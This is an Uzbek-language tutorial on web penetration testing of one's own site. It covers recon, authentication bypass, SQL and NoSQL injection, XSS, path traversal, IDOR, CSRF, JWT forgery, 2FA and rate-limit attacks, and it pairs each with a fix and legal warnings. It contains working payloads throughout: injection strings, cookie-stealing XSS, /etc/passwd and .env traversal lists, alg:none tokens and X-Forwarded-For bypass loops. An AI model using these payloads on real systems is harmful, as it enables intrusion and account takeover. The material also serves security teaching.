00Bu nima?
Endi har bir hujum turi alohida sahifada: maqsad → tushuntirish → aniqlash → buyruqlar (Linux/CMD/Brauzer) → natija (muvaffaqiyat va rad etish) → zararni yopish → tekshirish ro'yxati.
Pentest (penetration test — "kirish sinovi") — bu saytni kiber-hujumchiga o'xshab tekshirish. Maqsad: hujumchiga qanday yo'l ochilishini oldindan topish, keyin berkitish. Real hujumchi maqsadida emas — siz maqsadingiz.
Nima uchun bu kerak
Sizning saytingizda 2026‑yil sentabrida o'tkazilgan sinovda 3 ta jiddiy zaiflik topildi — ular siz fark qilmasdan tuzatildi:
innerHTML ga escape qilinmasdan qo'yilardi.Bu qo'llanma faqat o'z saytingizda ishlatish uchun. Boshqa saytga hujum qilish qonunga zid va jinoiy javobgarlikka olib keladi. Boshqa saytni sinamoqchi bo'lsangiz — ruxsat oling (yozma shaklda).
Bu qo'llanmada nima bor
| № | Mavzu | Nima o'rgatiladi |
|---|---|---|
| 00–03 | Kirish | Pentest nima, qonun, metodologiya, laboratoriya |
| 04 | Asboblar | curl, node, php, python — qaysi biri nima uchun |
| 05 | Recon | Sayt tuzilmasini xaritalash, endpoint topish |
| 06–07 | Kiritish | Parolsiz kirish, SQL/NoSQL injection |
| 08–11 | Ma'lumot | XSS, path traversal, IDOR, CSRF |
| 12–14 | Token | Sessiya, JWT, 2FA hujumlari |
| 15–17 | Dastur | Captcha, rate limit, HTTP sarlavhalari |
| 18–20 | Yakun | Tuzatish, hisobot, qisqa cheklot |
01Qonun va ruxsat
O'zbekiston Respublikasi Jinoyat kodeksi 226‑modda: boshqa shaxsning kompyuter tizimiga ruxsat holdan kirish, ma'lumotni o'g'irlash yoki yondirib yuborish — jinoiy javobgarlik tug'diradi. Qamoq va jarima oldida ushlab ketilish mumkin.
Faqat o'z saytingizda mashq qiling. Yoki o'zgartirish huquqi egaidan yozma ruxsat oling.
Qanday qoidalarga rioya qilish kerak
| Qoida | Nima uchun |
|---|---|
| Faqat o'z resursingiz | Boshqa sayt — begona mulk |
| Ma'lumot olmay qo'ying | O'g'irlash = jinoyat, qiziqish emas |
| Yozma ruxsat oling | Ish jarayonida dalil bo'ladi |
| Zarar bermang | Ma'lumotni o'chirmang, serverga yuklamang |
| Darhol xabar bering | Zaiflik topsangiz — dastur egasi yoki hosting |
| Yozib boring | Hisobot — eng qimmatli natija |
Pentestni ish vaqtidan tashqarida (kechqurun), nazorat ostida qiling. Hayajon bo'lsa — serverga yuklaning. O'zingizning saytingiz bo'lsa ham, ishlamay qolsa foyda yo'q.
02Metodologiya
Pentest — tasodifiy emas. Aniq tartib bor:
Recon (te-shikil)
Sayt qanday qurilgan? Qancha endpoint bor? Texnologiyalar nima? Bu bosqichda hech narsa buzmaydi — faqat ko'rasiz.
Hujum yuzasi xaritasi
Qaysi qismlar ochiq? Qaysilari himoyalangan? Hamma kirish yo'llarini yozib qo'ying. Keyinchalik "nima o'tkazib qoldim" degan savol bo'lmaydi.
Sinov
Har bir vektorni haqiqiy so'rov bilan urish. Taxmin qilinmaydi — javob o'qiladi va qayd etiladi.
Tahlil
Javoblardan xulosa: bu zaiflikmi yoki normal javobmi? Shu yerda ko'p xato qilinadi — hamma "rad" javobini zaiflik deb o'ylaydi.
Tuzatish
Topilgan zaiflikni darhol tuzatish. Keyin qayta tekshirish — tuzatish ishlamasligi mumkin.
Hisobot
Nima qildi, nima topildi, nima tuzatildi — yozma qilib qoldirish. Bu — eng qimmatli natija, chunki keyingi xodimlar uchun hujjat.
"Rad" javob — bu yaxshi natija
Ko'pchilik zaiflik qidirayotganda yo'q joyni izlaydi va topilganini "zaiflik" deb hisoblaydi. Aslida:
# NOTO'G'RI xulosa: {"success":false,"message":"Parol noto'g'ri"} → "kriptografiya zaif!" # TO'G'RI xulosa: {"success":false,"message":"Parol noto'g'ri"} → "himoya ishlayapti ✓"
Sizning maqsadingiz — zaiflik topish emas, zaiflik yo'qligini isbotlash. Ikkalasi ham qimmatli.
Sinov tartibi (muhim)
Bir vaqtda 50 ta so'rov yuborib rate limitni ishga tirdim — keyin o'zim tushunmadim, qaysi xato zaiflik, qaysi blok. Har bir testni alohida, orasida kutib, yozib boring.
03Laboratoriya — o'z saytingizda mashq
Birinchi marta laboratoriya qurishni tavsiya qilaman — real saytda mashq qilish xavfli (bloklanib qolishingiz mumkin).
Variant 1: lokal server (eng xavfsiz)
# Node.js loyiha namunasi mkdir ~/pentest-lab && cd ~/pentest-lab npm init -y npm install express jsonwebtoken bcryptjs # zaif server yaratamiz (o'quvchi uchun) cat > app.js <<'EOF' const express = require('express'); const app = express(); app.use(express.json()); // ZAIF: SQL kabi qo'shish app.post('/login', (req, res) => { const { user, pass } = req.body; // ❌ SQL injection: satrni to'g'ridan-to'g'ri qo'shish const sql = "SELECT * FROM u WHERE login='" + user + "' AND pass='" + pass + "'"; // ... bu yerda "baza" ga so'rov yuboriladi if (pass === 'test123') return res.json({ success: true }); res.json({ success: false }); }); // ZAIF: XSS app.get('/hi', (req, res) => { res.send('<h1>Salom ' + req.query.name + '</h1>'); // ❌ escape yo'q }); app.listen(3000); EOF node app.js
Variant 2: ataylab zaif saytlar
| Sayt | Nima uchun |
|---|---|
http://testphp.vulnweb.com | Ataylab SQL injection va XSS zaif |
https://portswigger.net/web-security | Britaniya kiber xavfsizlik laboratoriyasi — eng yaxshi |
https://owasp.org/www-project-web-security-testing-guide/ | OWASP — barcha hujum turlari ro'yxati |
portswigger.net/web-security — haqiqiy hujumlarni bosqichma-bosqich o'rgatadi. Bepul. Inglizcha. Boshlang'ich uchun eng yaxshi manba.
04Terminal asboblari
Maxsus dastur kerak emas. Linux terminali yetarli.
| Asbob | Nima uchun | Misol |
|---|---|---|
curl | HTTP so'rov yuborish, javob sarlavhalarini ko'rish | curl -s -D- URL |
grep | Kichik faylda izlash | grep -rn "password" src/ |
find | Fayl izlash | find . -name "*.env" |
node | JWT yasash, bazada o'zgartirish | node -e "..." |
python3 | JSON tahlil, regex, base64 | python3 -m json.tool |
php | TOTP kod generatsiya qilish | php -r "echo totp_code(...)" |
curl — asosiy buyruqlar
# GET so'rov + sarlavhalar curl -s -D- -o /dev/null https://site.uz/ # POST JSON bilan curl -s -X POST -H "Content-Type: application/json" \ -d '{"email":"a@b.com","password":"test"}' \ https://site.uz/api/login # Authorization header bilan curl -s -H "Authorization: Bearer $TOKEN" https://site.uz/api/me # Cookie saqlab, keyin ishlatish curl -s -c cookies.txt -b cookies.txt https://site.uz/ # soxta IP header (rate limit sinovi uchun) curl -s -H "X-Forwarded-For: 8.8.8.8" https://site.uz/api/login # javobni chiroyli ko'rsatish curl -s https://site.uz/api/x | python3 -m json.tool # bitta so'rovda bir nechta URL for U in /a /b /c; do echo "$U → $(curl -s -o /dev/null -w '%{http_code}' https://site.uz$U)" done
Loop ichida ko'p so'rov yuborish rate limit ishga tushiradi va keyingi testlar noto'g'ri natija beradi. Har bir urinishdan keyin biroz kutib, yoki turli ehtimollarni alohida tekshiring.
05Recon — saytni o'rganish
Bu bosqichda hech narsa buzilmaydi — faqat ko'rasz. Lekin bu eng muhim bosqich: bilmasangiz, nima sinashni ham bilmaysiz.
5.1 Sahifalar topish
# asosiy sahifalar for P in / /admin /login /register /api /robots.txt /sitemap.xml /.env; do printf "%-20s %s\n" "$P" "$(curl -s -o /dev/null -w '%{http_code}' https://site.uz$P)" done # maxfiy fayllar — eng tez va samarali hujum for P in /.env /.git/config /config.json /database.sql /backup.zip \ /.DS_Store /wp-config.php /api/config; do printf "%-20s %s\n" "$P" "$(curl -s -o /dev/null -w '%{http_code}' https://site.uz$P)" done
200 = ochiq (tekshir!) · 403 = bor, lekin
to'g'lan · 404 = yo'q
5.2 Sarlavhalarni o'qish
curl -s -D- -o /dev/null https://site.uz/ | grep -iE "server|x-powered|set-cookie|content-security" # O'qish kerak bo'lgan sarlavhalar: Server: nginx/1.30.5 → qaysi server X-Powered-By: PHP/7.4.33 → PHP versiyasi ochiq — xavfli! Set-Cookie: ... HttpOnly Secure → cookie xavfsizmi Content-Security-Policy: ... → CSP bormi
5.3 Kodingizni o'rganish (eng kuchli usul)
Agar sayt kodingizga kirish huquqiga ega bo'lsangiz — kodni o'qing. Bu har qanday tashqi sinovdan kuchli.
# API marshrutlari ro'yxati grep -ohE "^router\.(get|post|put|delete)\('[^']*'" src/routes/*.js | head -40 # xavfsiz kod izlash grep -rnE "req\.body" src/controllers/ | grep -vE "validate|sanitize" | head grep -rn "innerHTML" --include=*.js . | grep -v escapeHtml grep -rn "math.random.*token\|Math.random.*secret" src/ # zaif tasodifiylik grep -rn "verify(.*algorithms" src/ # JWT algoritmi
innerHTML (XSS) · exec/eval
(kod bajarish) · req.body (mass assignment) · role ·
isAdmin · Math.random (kalit) · findUnique
(authorization) · password_hash sizishi
5.4 Endpoint ro'yxatini tuzish
# topilgan endpointlarni faylga yig'ish
{
echo "=== OCHIQ (auth'siz) ==="
for P in /api/tests/list /api/content/videos /api/limits/usage; do
C=$(curl -s -o /dev/null -w '%{http_code}' "https://site.uz$P")
[ "$C" = "200" ] && echo " $P → $C"
done
echo "=== HIMOYALI ==="
for P in /api/admin/stats /api/kb/concepts /api/attempts/my; do
C=$(curl -s -o /dev/null -w '%{http_code}' "https://site.uz$P")
[ "$C" = "401" ] && echo " $P → 401 (token kerak)"
done
} | tee endpoints.txt
06Autentifikatsiya hujumlari
Eng ko'p zaiflik shu yerda. Maqsad: parolsiz yoki noto'g'ri rol bilan kirish.
6.1 Tur chalkashligi (type confusion)
Backend parolni matn deb kelishini kutadi. Boshqa tur yuborsangiz — dastur "kutilmagan" holatga tushadi.
for P in 'null' 'true' '[]' '0' '""'; do
curl -s -X POST -H 'Content-Type: application/json' \
-d "{\"email\":\"admin@site.uz\",\"password\":$P}" \
https://site.uz/api/auth/login
echo
done
# kutilgan javoblar:
null → "Email va parol kiritilmagan" to'g'ri
[] → "Email va parol kiritilmagan" to'g'ri
true → "Parol noto'g'ri" to'g'ri
# XAVFLI javob bo'lardi:
null → {"success":true,"token":"..."} BUZILDI!
// backend da
const password = String(req.body?.password || '');
if (!email || !password || password.length > 512) {
return res.status(400).json({ success: false, message: "Kiritilmagan" });
}
6.2 Mass assignment (omaviy tayinlash)
Foydalanuvchi o'zi "admin" rol berishi mumkinmi?
# profil yangilashda admin rol so'rash curl -s -X PUT -H "Authorization: Bearer $TOKEN" \ -H 'Content-Type: application/json' \ -d '{"name":"Ali","role":"admin","is_pro":true,"level":"C2"}' \ https://site.uz/api/auth/profile | python3 -m json.tool # KUTILGAN: role: user o'zgarmadi ✓ is_pro: false o'zgarmadi ✓ # KO'RSATSA: role: admin BUZILDI
// ❌ XAVFLI
const data = req.body; // hamma narsa o'tadi
await prisma.user.update({ where: {id}, data });
// ✅ TO'G'RI
const { name, username, email, phone, bio } = req.body; // faqat kerakli
await prisma.user.update({ where: {id},
data: { name, username, email, phone, bio } });
6.3 Rolni tekshirish qoidalari
| Qoida | ✅ To'g'ri | ❌ Xato |
|---|---|---|
| Rol qayerdan | Ma'lumotlar bazasidan | Token ichidan |
| Taqqoslash | role === 'admin' | role == 'admin' |
| Default | role = 'user' hardcoded | role = req.body.role |
| Bloklangan | Har so'rovda tekshiriladi | Faqat kirishda |
6.4 Parolni tiklash yo'li
Sizning saytingizda shunday zaiflik bor edi:
// support-reset-password if (!user || !user.security_id || String(user.security_id) !== cleanId) return fail(); await prisma.user.update({ where: {id: user.id}, data: { password_hash: await hashPassword(new_password) } }); // ← 2FA butunlay chetlab o'tildi
Nima tekshirish kerak:
- Tiklash yo'li 2FAni chetlab o'tadimi? (Ha → xavfli)
- Kod uzunligi qancha? (6-8 raqam = zaif)
- Rate limit bormi? (yo'q → brute force)
security_idqayerda ochiq beriladi? (API javobida = xavfli)
Yechim: maxfiy hisoblar (admin) faqat email-tasdiqli tiklash orqali.
07SQL / NoSQL injection
Ma'lumotga so'rov yig'iladigan joylarga maxfiy belgi kiritish.
7.1 SQL injection
# xavfli kod const sql = "SELECT * FROM u WHERE login='" + user + "'"; # user = ' OR '1'='1 → # SELECT * FROM u WHERE login='' OR '1'='1' → BARCHA QATOR # sinash curl -s -X POST -d "user=' OR '1'='1&pass=x" https://site.uz/login curl -s -X POST -d "user=admin'--&pass=x" https://site.uz/login curl -s -X POST -d "user=admin'#&pass=x" https://site.uz/login # JSON API da curl -s -X POST -H 'Content-Type: application/json' \ -d '{"email":"a@b.com\" OR \"1\"=\"1","password":"x"}' https://site.uz/api/login
// ✅ parametrli so'rov (prepared statement) await prisma.user.findUnique({ where: { email: String(email) } }); // yoki SQL da: db.query("SELECT * FROM u WHERE email = ?", [email]); // ? o'rniga qiymat
Hech qachon ' qo'yib birlashtirmang.
7.2 NoSQL injection (MongoDB)
# MongoDB da {password: "x"} = "parol x ga teng" # {"$ne": ""} = "bo'sh bo'lishidan farqli" → BARCHASI curl -s -X POST -H 'Content-Type: application/json' \ -d '{"email":{"$ne":null},"password":{"$ne":""}}' https://site.uz/api/login # boshqa operatorlar: {"$gt":""} {"$regex":".*"} {"$exists":true}
const email = String(req.body?.email || '').toLowerCase();
// typeof tekshiruvi
if (typeof req.body?.password !== 'string') return fail();
bcrypt.compare(String(req.body.password), user.password_hash);
08XSS — skript inksiyasi
Foydalanuvchi ma'lumotini innerHTML ga qo'ysangiz, uning kodingiz
sizning brauzeringizda ishlaydi.
8.1 XSS turlari
| Tur | Qayerda | Xavf darajasi |
|---|---|---|
| Reflected | URL yoki formadan qaytadi | O'rta |
| Stored | Ma'lumot bazaga saqlanadi | Yuqori |
| DOM | JavaScript orqali (location.hash) | Yuqori |
8.2 Topish
# 1) kodda izlash grep -rnE "innerHTML" --include=*.js . | grep -v escapeHtml | grep '\${' # 2) test maydonlariga joylashtiring: <img src=x onerror="alert(document.cookie)"> <script>alert(1)</script> " onmouseover="alert(1)" x=" javascript:alert(1) # 3) urib ko'ring: alert chiqsa — XSS bor
8.3 Sizning saytda topilgan misol
// BUZILGAN (main.js) modalAvatar.innerHTML = `<img src="${...}" alt="${author}" ...>`; modalLevelBadge.innerHTML = `<i class="fas fa-layer-group"></i> ${level}`; playerWrapper.innerHTML = `<iframe src=".../embed/${ytId}">`; data-desc="${vid.desc}" // XUJUM: author = '" onerror="alert(document.cookie)" x="' // natija: <img src="..." alt="" onerror="alert(document.cookie)" x=""> ↑ atributdan chiqib, hodisa qo'shildi
8.4 Tuzatish
// escapeHtml — har doim ishlatish
function escapeHtml(str) {
return String(str ?? '').replace(/[&<>"']/g, m => ({
'&':'&', '<':'<', '>':'>', '"':'"', "'":'''
})[m]);
}
alt="${escapeHtml(author)}"
${escapeHtml(level)}
element.textContent = data— eng xavfsiz, avtomatik escapeescapeHtml(data)bilaninnerHTML- CSP header bilan
unsafe-inlineni taqiqlash
innerHTML = ma'lumot — hech qachon. Math.random()
bilan "escape" qilish — ishlamaydi.
09Path traversal
Fayl nomini so'rovdan oladigan endpoint — server tizimidagi boshqa fayllarni o'qish uchun ishlatilishi mumkin.
# 10 xil usul
for P in "../../../.env" "..%2f..%2f..%2f.env" "....//....//....//etc/passwd" \
"..%252f..%252f..%252fetc/passwd" "/etc/passwd" \
"..\..\..\..\boot.ini" "%2e%2e%2f%2e%2e%2f.env" \
"....\/....\/etc/passwd" "php://filter/convert.base64-encode/resource=index.php"; do
printf "%-56s %s\n" "$P" \
"$(curl -s -o /dev/null -w '%{http_code}' "https://site.uz/download?file=$P")"
done
const ALLOWED = ['doc.pdf', 'img.png']; // faqat shu
const name = String(req.query.file);
if (!ALLOWED.includes(name)) return res.status(400).end();
const real = path.resolve(DIR, name);
if (!real.startsWith(DIR + path.sep)) return res.status(400).end();
res.sendFile(real);
10IDOR — begona ma'lumotga kirish
Insecure Direct Object Reference — boshqa foydalanuvchining ma'lumotini ID ni o'zgartirib olish.
# o'z ID curl -s -H "Authorization: Bearer $TOKEN" https://site.uz/api/attempts/111 {"user_id":"MY_ID", "score":85} # keyingi ID ni urish for ID in 112 113 114 200 999; do echo " $ID → $(curl -s -H "Authorization: Bearer $TOKEN" \ https://site.uz/api/attempts/$ID | head -c 60)" done # boshqa ma'lumot chiqsa — IDOR bor: {"user_id":"BOSHQA_ID","score":90} ← ZAIFLIK {"message":"topilmadi"} ← to'g'ri
const attempt = await prisma.attempt.findUnique({ where: { id } });
// ▲ MUHIM: egasi tekshiriladi
if (!attempt || attempt.user_id !== req.user.id) {
return res.status(404).json({ success: false, message: "Topilmadi" });
}
Hech qachon where: { id } — o'z-o'zidan ishlatmang,
har doim egasi bilan solishtiring.
11CSRF — soxta so'rov
Hujumchi maxfiy faylga havola joylaydi. Foydalanuvchi ochsa — server "bu admin qilgan" deb o'ylaydi.
# hujumchining sayti (boshqa odam ochadi)
<form action="https://site.uz/api/admin/delete-user" method="POST">
<input name="user_id" value="1">
</form>
<script>document.forms[0].submit()</script>
Himoya qatlamlari
| Qatlam | Nima beradi |
|---|---|
SameSite=Strict | Boshqa saytdan cookie yuborilmaydi |
Authorization header | Faqat JS qo'yadi — form qo'ya olmaydi |
| CSRF token | Maxsus yashirin belgi tekshiriladi |
Origin tekshiruvi | Qaysi saytdan kelganini aniqlaydi |
# sinash curl -s -X POST -b "session=..." -d "user_id=1" https://site.uz/api/admin/delete-user {"message":"Avtorizatsiya talab qilinadi"} ✓ CSRF dan himoyalangan
12Sessiya hujumlari
12.1 Cookie flaglari
curl -s -D- -o /dev/null https://site.uz/login | grep -i set-cookie | tr ';' '\n' Set-Cookie: sid=abc123... HttpOnly ✓ JS o'qiy olmaydi (XSS dan himoya) Secure ✓ faqat HTTPS (tarmoqda ko'rinmaydi) SameSite=Strict ✓ CSRF dan himoya Path=/
| Flag | Yo'q bo'lsa |
|---|---|
HttpOnly | XSS orqali sessiya o'g'irlanadi |
Secure | HTTP orqali o'tadi — tarmoqda ko'rinadi |
SameSite | CSRF hujumlari ishlaydi |
12.2 Sessiya fixation
# hujumchi o'z ID'sini majburlaydi curl -s -H "Cookie: sid=deadbeefdeadbeef..." https://site.uz/dashboard {"message":"Sessiya yo'q"} ✓ rad etildi # tekshirish: ID taxmin qilinadimi? for i in $(seq 1 5); do curl -s -c- https://site.uz/login | grep sid | awk '{print " "$NF}' done # 64 ta hex belgi = 256 bit → taxmin qilinmaydi ✓
12.3 Chiqish (logout)
curl -s -X POST -b jar -d "action=logout" https://site.uz/logout
{"success":true}
# eski cookie bilan urinish
curl -s -b jar https://site.uz/dashboard
{"message":"Sessiya yo'q"} ✓ bekor qilingan
Sessiya serverda saqlansin. Chiqishda serverdagi yozuv o'chirilsin — shunda o'g'rilgan cookie ishlamaydi.
13JWT hujumlari
JWT — uch qism: header.payload.signature. Ma'lumot ochiq, imzo sir bilan.
13.1 Soxta tokenlar yaratish
cat > /tmp/jwt-test.js <<'EOF'
const jwt = require('jsonwebtoken');
const b64 = o => Buffer.from(JSON.stringify(o)).toString('base64url');
const payload = { id:'1', email:'admin@site.uz', role:'admin',
exp: Math.floor(Date.now()/1000)+86400 };
console.log('alg:none :', b64({alg:'none'})+'.'+b64(payload)+'.');
console.log('alg:None :', b64({alg:'None'})+'.'+b64(payload)+'.');
console.log('noto-gri sir:', jwt.sign(payload,'wrong-key',{algorithm:'HS256',expiresIn:'1d'}));
console.log('HS512 :', jwt.sign(payload,SIR,{algorithm:'HS512',expiresIn:'1d'}));
console.log('muddati otgan:', jwt.sign(payload,SIR,{algorithm:'HS256',expiresIn:'-1d'}));
EOF
node /tmp/jwt-test.js
# sinash while read NAME TK; do printf "%-16s %s\n" "$NAME" \ "$(curl -s -X POST -d "jwt=$TK" https://site.uz/admin/login | head -c 55)" done < /tmp/tokens.txt alg:none {"message":"Kalit noto'g'ri"} rad ✓ noto-gri sir {"message":"Kalit noto'g'ri"} rad ✓ muddati otgan {"message":"Sessiya tugagan"} rad ✓
13.2 🔴 Eng xavfli xato: token roliga ishonish
// ❌ XAVFLI return { id: decoded.id, role: decoded.role }; ↑↑↑ TOKEN dan — hujumchiga ishonish // ✅ TO'G'RI const u = await prisma.user.findUnique({ where: { id: decoded.id }, select: { id:true, role:true, status:true } }); if (!u || u.status === 'blocked') return null; return { id: u.id, role: u.role }; // BAZADAN
Sizning saytda asosiy middleware to'g'ri ishlasdi (bazadan), lekin test javoblarini ko'rsatadigan boshqa faylda noto'g'ri edi (token dan). Mos emaslik zaiflikni tug'diradi.
// dalil: bazada role=user, token da role=admin {"1":{"user_answer":"aaa","correct_answer":["harmless"]}} ↑ barcha javoblar chiqdi
jwt.verify(token, SECRET, {
algorithms: ['HS256'], // ← FAQAT shu
ignoreExpiration: false
});
142FA / MFA hujumlari
14.1 Butunlay o'tkazib yuborish
# parol to'g'ri, lekin 2FA kodi yo'q — panel ochiladimi? curl -s -X POST -d "jwt=$TOKEN" https://site.uz/admin/session {"requires_2fa":true,"temp_token":"abc..."} ✓ to'g'ri curl -s -b jar https://site.uz/admin/ | grep -c "Panel" 0 ← panel OCHILMADI
14.2 Soxta bayroqlar
for P in "requires_2fa=false" "2fa_verified=true" "skip_2fa=1" "authenticated=true"; do
curl -s -X POST -d "jwt=$TOKEN" -d "$P" https://site.uz/admin/session | head -c 60
echo
done
# har doim "requires_2fa":true → soxta parametr ishlamadi ✓
14.3 Brute force
for C in 000000 111111 123456 999999; do
curl -s -X POST -d "temp_token=$TMP&code=$C" https://site.uz/admin/session
echo
done
000000 {"mfa_failed":true,"left":2} 1-kod xato
111111 {"throttled":true,"retry_in":900} 15 daqiqa blok ✓
14.4 Rate limitni chetlab o'tish
# IP header'ni har safar o'zgartirib for i in $(seq 1 12); do curl -s -H "X-Forwarded-For: 10.0.0.$i" -H "X-Real-IP: 10.0.0.$i" \ -X POST -d "temp_token=$TMP&code=00000$i" https://site.uz/admin/session | head -c 50 echo done # 3-urishdan keyin hammasi "throttled" → ISHLAMADI ✓
14.5 Replay
curl -s -X POST -d "temp_token=$TMP&code=$CODE" https://site.uz/admin/session
{"success":true} 1-marta ✓
curl -s -X POST -d "temp_token=$TMP&code=$CODE" https://site.uz/admin/session
{"expired":true} 2-marta rad ✓
- Sessiya faqat to'g'ri koddan keyin yaratiladi
- Temp token bir marta ishlatiladi (single-use)
- 1 xato kod → 15 daqiqa blok
temp_token48+ belgi (192 bit)- X-Real-IP faqat localhost dan ishonchli
15Captcha
Captcha — botni to'xtatish uchun. Agar mashina bilan o'qilsa, u hech qanday himoya bermaydi.
15.1 SVG zaifligi
// ❌ ZAIF: javob ochiq matnda <text x="16" y="44" font-size="32">1</text> <text x="35" y="44" font-size="32">1</text> <text x="90" y="44" font-size="32">8</text> // bot: regex bilan o'qib, hisoblaydi expr = ''.join(re.findall(r'<text[^>]*>([^<]*)</text>', svg)) eval(expr) # "11 - 8" → 3
15.2 Vektor (path) ham yetarli emas
// ❌ SVG <path> — koordinatalar ochiq d="M16 20H29 M16 20V31 M16 31H29 M16 31V42 M16 42H29 M29 31V42" ↑ x,y — raqamni tiklab bo'ladi
Aval <text> ni <path> ga o'tkazdim va
"haliyalik xavfsiz" dedim. Yana xato edi — koordinatalar raqamni
beradi. Siz to'g'ri aytdingiz: o'zgartirish kerak, aynan shunday.
15.3 To'g'ri yechim — haqiqiy rasm
// Raster PNG: faqat piksellar, matn ham vektor ham yo'q const zlib = require('zlib'); function encodePng(w, h, rgb) { const raw = Buffer.alloc((w*3+1) * h); for (let y=0;y<h;y++){ raw[y*(w*3+1)]=0; // filter rgb.copy(raw, y*(w*3+1)+1, y*w*3, (y+1)*w*3); } return Buffer.concat([ Buffer.from([0x89,0x50,0x4e,0x47,0x0d,0x0a,0x1a,0x0a]), chunk('IHDR', ihdr), chunk('IDAT', zlib.deflateSync(raw)), chunk('IEND', ...) ]); }
Belgilarni chizish — uzluksiz qilish
// ❌ tasodifiy siljitish — chiziqni uzib qo'yadi rowShift[r] = (Math.random()-0.5) * scale * 0.7; // ✅ sinusoidal — chiziq uzluksiz, ko'rinishi tabiiy const waveAmp = scale * 0.42; const lx = pxl + Math.sin(pxl / waveLen + wavePh) * waveAmp;
to'g'ri javob qabul: 100/100 # inson uchun ishlaydi PNG formatida: 100/100 PNG ichida matn: 0/100 # bot o'qiy olmaydi noto'g'ri javob o'tdi: 0/20
Raster rasm ham 100% kuchsiz emas — OCR dasturlari mavjud. Undan qattiqroq himoya: arifmetik emas, harflar aralash, rasmga matn yoyilishi, va eng muhimi — rate limit (captcha bilan birga).
16Rate limit chetlab o'tish
Ko'pchilik limit qo'yadi, lekin uni chetlab o'tish oson. Uch usul bor:
16.1 IP header aldashligi
for i in $(seq 1 12); do
curl -s -H "X-Forwarded-For: 10.0.0.$i" -H "X-Real-IP: 10.0.0.$i" \
-X POST -d "user=admin&pass=test$i" https://site.uz/login | head -c 50
echo
done
# 3-urishdan keyin blok → ishlamadi ✓
function isTrustedProxy(req) {
const peer = req.socket?.remoteAddress || '';
return peer === '127.0.0.1' || peer === '::1'; // FAQAT localhost
}
16.2 Case va bo'sh joy
# .toLowerCase() yo'q bo'lsa, har bir variant = yangi hisob for EM in "admin@x.com" "ADMIN@X.COM" "Admin@X.com" " admin@x.com "; do curl -s -X POST -d "email=$EM&pass=test" https://site.uz/login | grep -o '"message":"[^"]*"' done # "Juda ko'p urinish" → barchasi bitta hisobga tushdi ✓
const email = String(req.body?.email || '').trim().toLowerCase();
16.3 🔴 Kalit turi mos kelmasligi
// ❌ Limiter email bo'yicha const key = (ip, email) => ip + '|' + email; // LEKIN tiklash kaliti barcha email uchun BIR XIL // → email o'zgartirib, limitni chetlab o'tish mumkin for i in $(seq 1 12); do curl -s -X POST -d "{\"email\":\"x$i@t.com\",\"recovery_key\":\"RK-AAA\"}" \ https://site.uz/api/auth/admin-recover done # 12/12 o'tdi — blok bo'lmadi! // ✅ TUZATISH: kalit global bo'lsa → limiter ham global const recoveryHits = new Map(); // FAQAT IP
Rate limit kaliti sezilarli narsaga bog'lanishi kerak: parol → email+IP · umumiy kalit → faqat IP
17HTTP sarlavhalar
curl -s -D- -o /dev/null https://site.uz/ | grep -iE "strict|x-frame|x-content|content-security|referrer|x-powered" // TO'LIQ HIMOYA: Strict-Transport-Security: max-age=31536000; includeSubDomains X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Referrer-Policy: strict-origin-when-cross-origin Content-Security-Policy: default-src 'self'; script-src 'self' X-Powered-By: (bo\u2018lishi kerak)
| Sarlavha | Nima beradi | Yo'q bo'lsa |
|---|---|---|
HSTS | HTTP dan HTTPS ga qaytish bloklanadi | MITM parol o'g'irlaydi |
X-Frame-Options | iframe ga qo'yish bloklanadi | Clickjacking |
nosniff | MIME turi tekshiriladi | XSS kengayadi |
CSP | Script manbalini cheklaydi | XSS yanada kuchli |
Referrer-Policy | URL faydalanmasin | Token oqib ketadi |
HSTS yo'q edi · CSP da unsafe-eval edi ·
X-Powered-By: PHP/7.4.33 ochiq edi. Barchasi tuzatildi.
PHP 7.4 esa EOL (2022) — platforma darajasida yangilash kerak.
18Tuzatish qoidalari
Chetlab o'tish mumkin bo'lgan kod uslublari
| Usul | Nima uchun xavfli | To'g'risi |
|---|---|---|
| Frontend tekshiruvi | Backend'ni chetlab o'tsa bo'ladi | Backend'da ham tekshirish |
| Yashirin maydon | So'rovda o'zgartirish mumkin | Backend hech qachon ishonmasin |
| Token'dagi rol | Token o'zgartirilishi mumkin | Bazadan olish |
| URL'dan kelgan ID | ID o'zgartiriladi | Egasi bilan solishtirish |
Math.random() kalit | Taxmin qilinadi | crypto.randomBytes |
| Parol tiklash (2FA yo'q) | 2FA chetlab o'tiladi | Maxfiy hisob → faqat email |
| Matn → rasm (SVG) | O'qiladi / tiklanadi | Haqiqiy raster rasm |
| Rate limit by email | Email o'zgartiriladi | Kalit turiga qarab |
Tuzatish tartibi
Avval kodni o'qing
Yangi kod yozishdan oldin eski kodni o'qing — bu qayerda va qanday ishlaydi?
Zaxira oling
$ cp fayl.js fayl.js.bak $ cp .env /tmp/env-backup.txt
Yozing
Backend qoidalarini o'zgartiring, frontend'ga emas.
Tekshirish
$ node --check fayl.js $ run reload 1
Qayta sinov
Zaiflikni qayta urib, tuzatilganini isbotlang.
Tuzatgandan keyin albatta qayta tekshirish kerak. Aks holda
"yo'q oldi" degan ishonch noto'g'ri bo'ladi. Va — hech qachon rm *.json
yozmang: men shu qilib 2FA sozlamasini o'zim yo'qotdim.
19Hisobot yozish
Pentestning eng qimmatli natijasi — hisobot. U kelgusi xodimlar uchun hujjat bo'ladi.
Har bir topilma uchun shablon
### [DARAJASI] Qisqa nom
Nima: Zaiflikning texnik tavsifi
Nima uchun: Nega bu xavfli
Dalil: Hajmiy buyruq + server javobi
Zanjir: Bu nima bilan bog'lanadi
Tuzatish: Qanday kod o'zgartirildi
Fayl: Qaysi faylda
Tekshiruv: Tuzatilganini qanday isbotlandi
Ogohlantirish — ro'yxat emas, dalil
Pentest qilib, keyin o'z xatolaringizni (parol o'zgartirdim, blokladim, konfiguratsiyani o'chirdim) yozib qo'ying. Bu ishonchni oshiradi, kamaytirmaydi.
Mening hisobotim
Sizning saytingiz uchun to'liq, terminal tarixi bilan:
★Qaysi OS da ishlaydi
Bu — eng ko'p beriladigan savol. Qisqa javob: curl buyruqlarining 90% i Windows CMD da ham ishlaydi. Maxsus dasturlar esa ko'proq Linux talab qiladi.
| Belgi | Ma'nosi | Misol |
|---|---|---|
| web | Brauzer/curl — OS ga bog'liq emas | XSS, CSRF, IDOR, CORS, JWT |
| Ikkalasi | Linux va Windows | node, ffmpeg, gobuster |
| Linux | Faqat Linux/macOS | nmap, hydra, subfinder, nc |
| CMD | Faqat Windows | nslookup, PowerShell cmdlet |
